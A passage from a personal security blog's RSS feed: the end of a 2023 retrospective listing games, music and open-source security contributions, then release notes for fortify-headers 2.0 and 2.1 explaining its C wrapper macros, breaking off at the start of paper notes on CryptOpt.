&lt;a href=\"https://en.wikipedia.org/wiki/Amenra\"&gt;Amenra&lt;/a&gt;, and\n  &lt;a href=\"http://hangmanschair.com\"&gt;Hangman's Chain&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Played some video games:&lt;ul&gt;\n&lt;li&gt;On a computer:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://www.doomworld.com/forum/topic/134292-myhousewad/\"&gt;MyHouse.WAD&lt;/a&gt;: &lt;a href=\"https://doomwiki.org/wiki/My_House\"&gt;wow&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Observer_(video_game)\"&gt;&amp;gt;observer_&lt;/a&gt;: didn't like it.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Sea_of_Thieves\"&gt;Sea of Thieves&lt;/a&gt;, ~ok with friends.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://hyperstrange.com/our-games/blood-west/\"&gt;Blood West&lt;/a&gt;: &lt;a href=\"https://en.wikipedia.org/wiki/Thief_(series)\"&gt;Thief&lt;/a&gt; in the Far West.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Half-Life%3A_Alyx\"&gt;Half Life: Alyx&lt;/a&gt;: impressive in every way.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/High_on_Life_(video_game)\"&gt;High on Life&lt;/a&gt;: excruciatingly tedious at best.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Cyberpunk_2077#Cyberpunk_2077:_Phantom_Liberty\"&gt;Cyberpunk 2077: Phantom Liberty&lt;/a&gt;: glorious.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege\"&gt;Rainbow Six: Siege&lt;/a&gt;: better than &lt;a href=\"https://en.wikipedia.org/wiki/Counter-Strike\"&gt;Counter Strike&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Hogwarts_Legacy\"&gt;Hogwarts Legacy&lt;/a&gt;: breathtaking and well rounded.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/app/2329130/Rewind_Or_Die/\"&gt;Rewind or Die&lt;/a&gt; felt like playing resident evil again &amp;lt;3&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Outer_Wilds\"&gt;Outer Wilds&lt;/a&gt;: the controls were too terrible for me to play.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Last_of_Us_Part_I\"&gt;The Last of Us Part 1&lt;/a&gt;: ok-ish, not my jam, Joel is a moron.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Witcher_3%3A_Wild_Hunt\"&gt;The Witcher 3 - Wild Hunt&lt;/a&gt;: when did video game get so long…&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Apex_Legends\"&gt;Apex Legends&lt;/a&gt;: a lame version of &lt;a href=\"https://en.wikipedia.org/wiki/Titanfall_2\"&gt;Titanfall 2&lt;/a&gt;, ok-ish when playing ranked.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Warhammer_40,000:_Chaos_Gate_-_Daemonhunters\"&gt;Warhammer 40,000: Chaos Gate - Daemonhunters&lt;/a&gt;:\n  &lt;a href=\"https://en.wikipedia.org/wiki/XCOM\"&gt;XCOM&lt;/a&gt; with &lt;a href=\"https://wh40k.lexicanum.com/wiki/Grey_Knights\"&gt;Grey knights&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Metal%3A_Hellsinger\"&gt;Metal: Hellsinger&lt;/a&gt;: looked super-lame on gameplay videos, but was surprisingly fun.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Starfield_(video_game)\"&gt;Starfield&lt;/a&gt;: a buggy clunky quickly-boring\n  &lt;a href=\"https://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim\"&gt;Skyrim&lt;/a&gt; in space, quickly went back to Cyberpunk 2077.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/app/1172650/INDUSTRIA/\"&gt;Industria&lt;/a&gt;: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Journey_to_the_Savage_Planet\"&gt;Journey to the Savage Planet&lt;/a&gt;: Rich in poop-oriented\n  jokes, trying hard to be funny and maybe even subversive but systematically falling flat.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Baldur%27s_Gate_3\"&gt;Baldur's Gate 3&lt;/a&gt;: not a\n  fan of the &lt;a href=\"https://en.wikipedia.org/wiki/Dungeons_%26_Dragons\"&gt;Dungeons &amp;amp; Dragons&lt;/a&gt; dice-based\n  gameplay, nor of the hard dialog choices cutting entire parts of the game,\n  but still an amazing game.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain\"&gt;Metal Gear Solid V: The Definitive Experience&lt;/a&gt;,\n  so &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_Ground_Zeroes\"&gt;Metal Gear Solid V: Ground Zeroes&lt;/a&gt; and\n  &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain\"&gt;Metal Gear Solid V: The Phantom Pain&lt;/a&gt;.\n  I bought it after having seen the former being run at the &lt;a href=\"https://gamesdonequick.com/tracker/run/5506\"&gt;AGDQ 2023&lt;/a&gt;.\n  Truly amazing game overall, except for the &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain#Portrayal_of_Quiet\"&gt;sexualisation of the &lt;em&gt;sole&lt;/em&gt; female character&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;On a (glorious) &lt;a href=\"https://en.wikipedia.org/wiki/Steam_Deck\"&gt;Steam Deck&lt;/a&gt;:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/app/638990/UNDYING/\"&gt;UNDYING&lt;/a&gt;: nice\n  zombie-related game.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/agecheck/app/1593500/\"&gt;God of War&lt;/a&gt;,\n  surprisingly \"wholesome\".&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://blacksaltgames.com/\"&gt;Dredge&lt;/a&gt;, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Vampyr_(video_game)\"&gt;Vampyr&lt;/a&gt;, because\n  I miss &lt;a href=\"https://en.wikipedia.org/wiki/Vampire:_The_Masquerade_%E2%80%93_Bloodlines\"&gt;Vampire: The Masquerade – Bloodlines&lt;/a&gt;. It could have been so much more instead of being \"meh\".&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Ported &lt;a href=\"https://github.com/jvoisin/snuffleupagus\"&gt;Snuffleupagus&lt;/a&gt; to PHP8.3.&lt;/li&gt;\n&lt;li&gt;Contributed to a couple of software:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/lite-xl/lite-xl/pulls?q=is%3Apr+author%3Ajvoisin\"&gt;lite-xl&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://alpinelinux.org/\"&gt;Alpine linux&lt;/a&gt;, by:&lt;ul&gt;\n&lt;li&gt;becoming a &lt;a href=\"https://pkgs.alpinelinux.org/packages?branch=edge&amp;amp;repo=&amp;amp;arch=&amp;amp;maintainer=Julien%20Voisin\"&gt;package maintainer&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://gitlab.alpinelinux.org/alpine/tsc/-/issues/64\"&gt;documenting a bit&lt;/a&gt; the compiler-based mitigations,\n  and &lt;a href=\"https://gitlab.alpinelinux.org/alpine/abuild/-/merge_requests/221\"&gt;enabling some missing ones&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Because of &lt;a href=\"https://runzero.com\"&gt;runZero&lt;/a&gt;, I&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/rapid7/recog/pulls?q=+is%3Apr+author%3Ajvoisin\"&gt;contributed to recog&lt;/a&gt; to improve some of its fingerprints;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/Sonarr/Sonarr/issues/5601\"&gt;made it less trivial&lt;/a&gt; to detect Sonarr/Lidarr/Radarr/… versions.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/struct/isoalloc/pulls?q=is%3Apr+author%3Ajvoisin+created%3A2023\"&gt;isoalloc&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/pygments/pygments/commits?author=jvoisin\"&gt;pygments&lt;/a&gt;, mainly by adding lexers.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/morpheus65535/bazarr/pull/2304\"&gt;bazaar&lt;/a&gt;, making it work on Alpine Linux.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/google/oss-fuzz/pulls?q=is%3Apr+author%3Ajvoisin\"&gt;oss-fuzz&lt;/a&gt;,\n  including some &lt;a href=\"https://github.com/guidovranken/python-library-fuzzers/pulls?q=is%3Apr+author%3Ajvoisin\"&gt;python fuzzers&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/daanx/mimalloc-bench\"&gt;mimalloc-bench&lt;/a&gt;,\n  resulting in some &lt;a href=\"https://github.com/microsoft/snmalloc/pull/587#issuecomment-1442077886\"&gt;real world improvements&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/quodlibet/mutagen/pulls/jvoisin\"&gt;mutagen&lt;/a&gt;, since it's\n  used by &lt;a href=\"https://0xacab.org/jvoisin/mat2\"&gt;mat2&lt;/a&gt;. I even &lt;a href=\"https://github.com/google/oss-fuzz/pull/10072\"&gt;integrated it into\n  OSS-Fuzz&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+jvoisin\"&gt;metasploit&lt;/a&gt;,\nby doing a lot of code reviews for pull-requests, and landing some modules,\n  like a &lt;a href=\"https://github.com/rapid7/metasploit-framework/pull/17711\"&gt;SPIP RCE&lt;/a&gt;,\n  courtesy of &lt;a href=\"https://thinkloveshare.com/\"&gt;Laluka&lt;/a&gt; and &lt;a href=\"https://twitter.com/coiffeur0x90\"&gt;coiffeur&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://chrony.tuxfamily.org/\"&gt;chrony&lt;/a&gt;, spending some time debugging\n  &lt;a href=\"https://mail-archive.com/chrony-dev@chrony.tuxfamily.org/msg02572.html\"&gt;how to enable its seccomp sandbox&lt;/a&gt;\n  on Alpine Linux, resulting in a &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/issues/14891#note_316587\"&gt;couple of improvements&lt;/a&gt;,\n  and of course a &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/47087\"&gt;now-enabled-by-default sandbox&lt;/a&gt; there.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Got a CVE for a bug I &lt;a href=\"https://github.com/py-pdf/pypdf/security/advisories/GHSA-jrm6-h9cq-8gqw\"&gt;reported&lt;/a&gt; in 2020!&lt;/li&gt;\n&lt;li&gt;Kept maintaining &lt;a href=\"https://openmw.org\"&gt;OpenMW&lt;/a&gt;'s infrastructure.&lt;/li&gt;\n&lt;li&gt;Learnt some &lt;a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\"&gt;Rust&lt;/a&gt; so I could hang out with the cool kids.&lt;/li&gt;\n&lt;li&gt;Helped organise the &lt;a href=\"http://g.co/ctf\"&gt;GoogleCTF&lt;/a&gt;, which was &lt;a href=\"https://ctftime.org/event/1929\"&gt;pretty well received&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Added more possible subtitles to this blog, bringing their numbers above 1100.&lt;/li&gt;\n&lt;li&gt;Reduced the size of this website's webpages; most should now be around 10kb.&lt;/li&gt;\n&lt;li&gt;Contributed a bit to Wikipedia, in &lt;a href=\"https://en.wikipedia.org/wiki/Special:Contributions/jvoisin\"&gt;English&lt;/a&gt; and in &lt;a href=\"https://fr.wikipedia.org/wiki/Sp%C3%A9cial:Contributions/jvoisin\"&gt;French&lt;/a&gt;\n  under my usual nickname.&lt;/li&gt;\n&lt;li&gt;Moved my emails away from &lt;a href=\"https://gandi.net\"&gt;Gandi&lt;/a&gt; over to &lt;a href=\"https://migadu.com\"&gt;Migadu&lt;/a&gt;,\n  given their &lt;a href=\"https://chatting.neocities.org/posts/2023-gandi-pricing\"&gt;ludicrous&lt;/a&gt; post-acquisition price increase.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/jvoisin/compiler-flags-distro\"&gt;Investigated&lt;/a&gt; what\n  hardening-related compiler flags where enabled by default by popular Linux\n  distributions.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://tests.stockfishchess.org/users#jvoisin\"&gt;Contributed a bit&lt;/a&gt; (by crunching numbers) to &lt;a href=\"https://stockfishchess.org/\"&gt;Stockfish&lt;/a&gt;,\n  an open-source chess engine with an &lt;a href=\"https://en.wikipedia.org/wiki/Elo_rating_system\"&gt;Elo rating&lt;/a&gt;\n  around &lt;a href=\"https://computerchess.org.uk/ccrl/4040/rating_list_all.html\"&gt;3500&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage,\n  thanks to a &lt;s&gt;&lt;a href=\"https://www.reddit.com/r/karma/wiki/index/faq/\"&gt;karma&lt;/a&gt; junkie&lt;/s&gt;\n  marketing-able &lt;a href=\"https://dijit.sh\"&gt;friend&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Kept maintaining &lt;a href=\"https://nos-oignons.net/\"&gt;Nos Oignons&lt;/a&gt;'s infrastructure with &lt;a href=\"https://corl3ss.com/\"&gt;corl3ss&lt;/a&gt;.\n  We're back at handling &lt;a href=\"https://nos-oignons.net/Services/index.en.html\"&gt;around 2%&lt;/a&gt;\n  of tor's exit traffic! Our little non-profit is now 10 years old.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;Took over&lt;/a&gt; the development and maintenance of \n  &lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt;'s &lt;a href=\"https://git.2f30.org/fortify-headers/\"&gt;fortify-headers&lt;/a&gt;.\n  It's used by &lt;a href=\"https://openwrt.org/\"&gt;OpenWrt&lt;/a&gt;, &lt;a href=\"https://www.alpinelinux.org/\"&gt;Alpine Linux&lt;/a&gt;,\n  and &lt;a href=\"https://bugs.gentoo.org/546692\"&gt;soon&lt;/a&gt; in &lt;a href=\"https://wiki.gentoo.org/wiki/Project:Musl\"&gt;Gentoo Hardened's musl flavour&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Ported my resume/cover letter template from\n  &lt;a href=\"https://latex-project.org\"&gt;LaTeX&lt;/a&gt; to\n  &lt;a href=\"https://typst.app/docs/guides/guide-for-latex-users/\"&gt;typst&lt;/a&gt; and felt so\n  much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer,\n  to never have to touch it again.&lt;/li&gt;\n&lt;li&gt;Got a \"Documented Feedback from Employee Relations\" from HR at work for\n  saying \"Awkward to have yet another middle aged rich white het guy come talk\n  about diversity and inclusion.\" on an internal chatroom, about &lt;a href=\"https://booleanblackbelt.com/who-is-the-boolean-black-belt/\"&gt;this middle\n  aged rich white het guy&lt;/a&gt;\n  invited to give an internal talk about diversity and inclusion.&lt;/li&gt;\n&lt;/ul&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Sun, 31 Dec 2023 23:59:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-12-31:/b/2023-in-retrospect.html</guid><category>misc</category></item><item><title>fortify-headers 2.1</title><link>https://dustri.org/b/fortify-headers-21.html</link><description>&lt;p&gt;Only 4 days after the &lt;a href=\"https://dustri.org/b/fortify-headers-20.html\"&gt;release&lt;/a&gt; of\n&lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;fortify-headers&lt;/a&gt;,\nhere is the &lt;a href=\"https://github.com/jvoisin/fortify-headers/releases/tag/2.1\"&gt;2.1&lt;/a&gt;,\nfixing a couple of portability issues and tidying a bit the code.\n&lt;a href=\"https://chimera-linux.org/\"&gt;Chimera Linux&lt;/a&gt; users are\n&lt;a href=\"https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8\"&gt;as of today&lt;/a&gt;\n&lt;del&gt;test driving&lt;/del&gt; benefiting from it.&lt;/p&gt;\n&lt;h2&gt;Changelog&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;Remove superfluous includes from the headers&lt;/li&gt;\n&lt;li&gt;Put some functions in to their proper files&lt;/li&gt;\n&lt;li&gt;Add a missing include in &lt;code&gt;sys/select.h&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;Do not use static inline for C++ to avoid &lt;a href=\"https://en.wikipedia.org/wiki/One_Definition_Rule\"&gt;ODR&lt;/a&gt;-wise violation&lt;/li&gt;\n&lt;li&gt;Guard some conditional stdio APIs with the right macros&lt;/li&gt;\n&lt;li&gt;Fix a typo that would prevent C++ code from compiling correctly&lt;/li&gt;\n&lt;li&gt;Rename macros to be more namespace-friendly&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h2&gt;Implementation details&lt;/h2&gt;\n&lt;p&gt;Including parts from the\n&lt;a href=\"https://en.wikipedia.org/wiki/Standard_library\"&gt;stdlib&lt;/a&gt; in fortify means that\nprograms that don't correctly include everything they need might compile, even\nthough they shouldn't. Fortunately, the only bits used are either:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;code&gt;size_t&lt;/code&gt;, which can be obtained by using &lt;code&gt;typeof(sizeof(char))&lt;/code&gt;,\n  since it's by definition the type returned by &lt;code&gt;sizeof&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;constants like &lt;code&gt;PATH_MAX&lt;/code&gt; (that we can define to &lt;code&gt;4096&lt;/code&gt;), &lt;code&gt;MB_LEN_MAX&lt;/code&gt;\n  (defined as 16), ...&lt;/li&gt;\n&lt;li&gt;eldritch constructs like &lt;a href=\"https://www.man7.org/linux/man-pages/man3/MB_CUR_MAX.3.html\"&gt;&lt;code&gt;MB_CUR_MAX&lt;/code&gt;&lt;/a&gt;,\n  whose usage we hide behind an &lt;code&gt;#ifdef&lt;/code&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The other big thing is the one caught by &lt;a href=\"https://github.com/ssbr\"&gt;Devin Jeanpierre&lt;/a&gt;, the usage of &lt;code&gt;static\ninline&lt;/code&gt; while &lt;a href=\"https://en.cppreference.com/w/c/language/inline\"&gt;absolutely alright in C&lt;/a&gt;,\nis problematic in C++, because of the &lt;a href=\"https://en.wikipedia.org/wiki/One_Definition_Rule\"&gt;One Definition Rule&lt;/a&gt;:\nIn C++, if a function is declared inline, it must be declared inline in every translation unit, and also every\ndefinition of an inline function must be exactly the same (while in C they may\nbe different.) On the other hand, C++ allows non-const function-local\nstatics and all function-local statics from different definitions of an inline\nfunction are the same in C++, but distinct in C.\nMore practically, calling &lt;code&gt;FORTIFY_INLINE&lt;/code&gt; functions from an inline function in C++, and including\nthe header defining that inline function in more than one &lt;a href=\"https://en.wikipedia.org/wiki/Translation_unit_%28programming%29\"&gt;translation\nunit&lt;/a&gt; results\nin undefined behaviour. The fix is easy, and was\n&lt;a href=\"https://github.com/jvoisin/fortify-headers/commit/c607773a80e6685ab4c922245c33cf2ea5dcfb72\"&gt;commited&lt;/a&gt;\nby &lt;a href=\"https;//github.com/q66\"&gt;q66&lt;/a&gt;: use &lt;code&gt;static&lt;/code&gt; instead of &lt;code&gt;static inline&lt;/code&gt; in C++.&lt;/p&gt;\n&lt;p&gt;Thanks &lt;a href=\"https://github.com/ssbr\"&gt;Devin Jeanpierre&lt;/a&gt; for spending time to look at\nC++ compatibility, &lt;a href=\"https://github.com/q66\"&gt;q66&lt;/a&gt; for his patches, willingness to ship\nfortify-headers in Chimera, and becoming co-maintainer.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Sat, 16 Dec 2023 20:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-12-16:/b/fortify-headers-21.html</guid><category>security</category></item><item><title>fortify-headers 2.0</title><link>https://dustri.org/b/fortify-headers-20.html</link><description>&lt;p&gt;8 months ago, I started to contribute to &lt;a href=\"https://git.2f30.org/fortify-headers/\"&gt;fortify-headers&lt;/a&gt;,\na standalone &lt;a href=\"https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html\"&gt;fortify-source&lt;/a&gt; implementation,\nwith the goal of implementing &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt;, since the current version\nonly implemented &lt;code&gt;FORTIFY_SOURCE=2&lt;/code&gt;. I reached out to\n&lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt;, the original maintainer, to ask if he was\ninterested in my changes, and he told me the project wasn't maintained\nanymore. But he would be happy to give me the commit bit instead. I spent\nsome months &lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;writing code&lt;/a&gt; before\naccepting, to see if it would be a good idea: Would I be able to maintain it?\nTo improve it? Add more features? and so on. Turns out the answer is yes, and\nI'm thus happy to announce the immediate availability of &lt;a href=\"https://git.2f30.org/fortify-headers/refs.html\"&gt;fortify-headers\n2.0&lt;/a&gt;!&lt;/p&gt;\n&lt;h2&gt;Changelog&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;Added clang support, based on &lt;a href=\"https://github.com/q66\"&gt;q66&lt;/a&gt;'s patches.&lt;/li&gt;\n&lt;li&gt;Fixed a 64b-related incompatibility around &lt;code&gt;ppoll&lt;/code&gt; &lt;/li&gt;\n&lt;li&gt;Added a ton of tests, with &lt;a href=\"https://jvoisin.github.io/fortify-headers/\"&gt;around 90% of coverage&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Made use of &lt;code&gt;__builtin_dynamic_object_size&lt;/code&gt; when &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt; is used,\n  instead of &lt;code&gt;__builtin_object_size&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;Made use of &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html\"&gt;attributes&lt;/a&gt;:\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#alloc-size\"&gt;alloc_size&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#diagnose-as-builtin\"&gt;diagnose_as_builtin&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#diagnose-if\"&gt;diagnose_if&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#format\"&gt;format&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#malloc\"&gt;malloc&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#nodiscard-warn-unused-result\"&gt;warn_unused_result&lt;/a&gt;,\n  …&lt;/li&gt;\n&lt;li&gt;Added some missing functions, like &lt;code&gt;calloc&lt;/code&gt;, &lt;code&gt;fdopen&lt;/code&gt;, &lt;code&gt;fmemopen&lt;/code&gt;, &lt;code&gt;fprintf&lt;/code&gt;,\n  &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;memchr&lt;/code&gt;, &lt;code&gt;popen&lt;/code&gt;, &lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;qsort&lt;/code&gt;, &lt;code&gt;umask&lt;/code&gt;, …&lt;/li&gt;\n&lt;li&gt;Added continuous integration, both on clang and gcc, covering the whole range\n  of supported versions across the latest Ubuntu LTS.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h2&gt;Implementation details&lt;/h2&gt;\n&lt;p&gt;Since this is a pretty uncommon piece of software, friends of mine have been\nasking me details about the involved black magic.\nWhile it's possible to overload functions with the\n&lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#overloadable\"&gt;overloadable&lt;/a&gt;\nattribute in C, there isn't really something similar for drive-by overloading.\nFortunately, it's possible to hack an equivalent by combining\n&lt;a href=\"https://gcc.gnu.org/onlinedocs/cpp/Wrapper-Headers.html\"&gt;&lt;code&gt;#include_next&lt;/code&gt;&lt;/a&gt; with\nthe following macros:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"cp\"&gt;#define _FORTIFY_STR(s) #s&lt;/span&gt;\n&lt;span class=\"cp\"&gt;#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)&lt;/span&gt;\n&lt;span class=\"cp\"&gt;#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)&lt;/span&gt;\n&lt;span class=\"cp\"&gt;#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;This makes the original function available when prefixed with &lt;code&gt;__orig&lt;/code&gt;,\nwhile allowing overloading.\nOn clang, the &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#pass-object-size-pass-dynamic-object-size\"&gt;&lt;code&gt;pass_object_size&lt;/code&gt;/&lt;code&gt;pass_dynamic_object_size&lt;/code&gt;&lt;/a&gt;\nattribute is used to pass down arguments size; the assembly label preventing\nweird &lt;a href=\"https://en.wikipedia.org/wiki/Name_mangling\"&gt;mangling&lt;/a&gt; issues. Since\nit's only a label, despite being assembly, it's still portable across various\narchitectures. The &lt;code&gt;_FORTIFY_INLINE&lt;/code&gt; macro contains all possible \"please inline this\nfunction\" directives as possible, to avoid polluting the symbols.&lt;/p&gt;\n&lt;p&gt;There is of course a ton of &lt;code&gt;#ifdef&lt;/code&gt;/&lt;code&gt;#if __has_atribute&lt;/code&gt;/… to work around various\ncompiler intrinsics, like clang missing &lt;code&gt;__builtin_va_arg_pack&lt;/code&gt; or gcc missing\n&lt;code&gt;diagnose_if&lt;/code&gt;, so that fortify-headers will always make use of the most\nfeatures available.&lt;/p&gt;\n&lt;p&gt;It is indeed a particularly gross pile of hacks,\nbut this is C, also known as \"nice things and why we can't have them.\"&lt;/p&gt;\n&lt;p&gt;Thanks to &lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt; for creating the project and\nmaintaining it for years, &lt;a href=\"https://daniel.micay.dev\"&gt;strcat&lt;/a&gt; for his inspiring\nwork on fortifying &lt;a href=\"https://en.wikipedia.org/wiki/Bionic_(software)\"&gt;bionic&lt;/a&gt;,\n&lt;a href=\"https://github.com/q66\"&gt;q66&lt;/a&gt; for his clang patches and general support,\nthe friendly people from &lt;a href=\"https://2f30.org\"&gt;2f30&lt;/a&gt; for their patience,\n&lt;a href=\"http://serge.liyun.free.fr/serge/\"&gt;Serge Sans Paille&lt;/a&gt; for his &lt;a href=\"https://github.com/serge-sans-paille/fortify-test-suite\"&gt;testsuite&lt;/a&gt;,\n&lt;a href=\"https://people.freebsd.org/~kevans/\"&gt;kevans&lt;/a&gt; for his work on fortifying\n&lt;a href=\"https://reviews.freebsd.org/D32306\"&gt;FreeBSD's libc&lt;/a&gt;,\nRed Hat from pushing &lt;code&gt;FORTIFY_SOURCE=2&lt;/code&gt; and &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt; forward,\n...&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Tue, 12 Dec 2023 23:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-12-12:/b/fortify-headers-20.html</guid><category>security</category></item><item><title>Paper notes: CryptOpt</title><link>https://dustri.org/b/paper-notes-cryptopt.html</link><description>&lt;ul&gt;\n&lt;li&gt;Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives&lt;/li&gt;\n&lt;li&gt;PDF: &lt;a href=\"https://arxiv.org/abs/2211.10665\"&gt;arXiv&lt;/a&gt; (&lt;a href=\"https://dustri.org/b/files/papers/cryptopt.pdf\"&gt;local mirror&lt;/a&gt;)&lt;/li&gt;\n&lt;li&gt;Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, 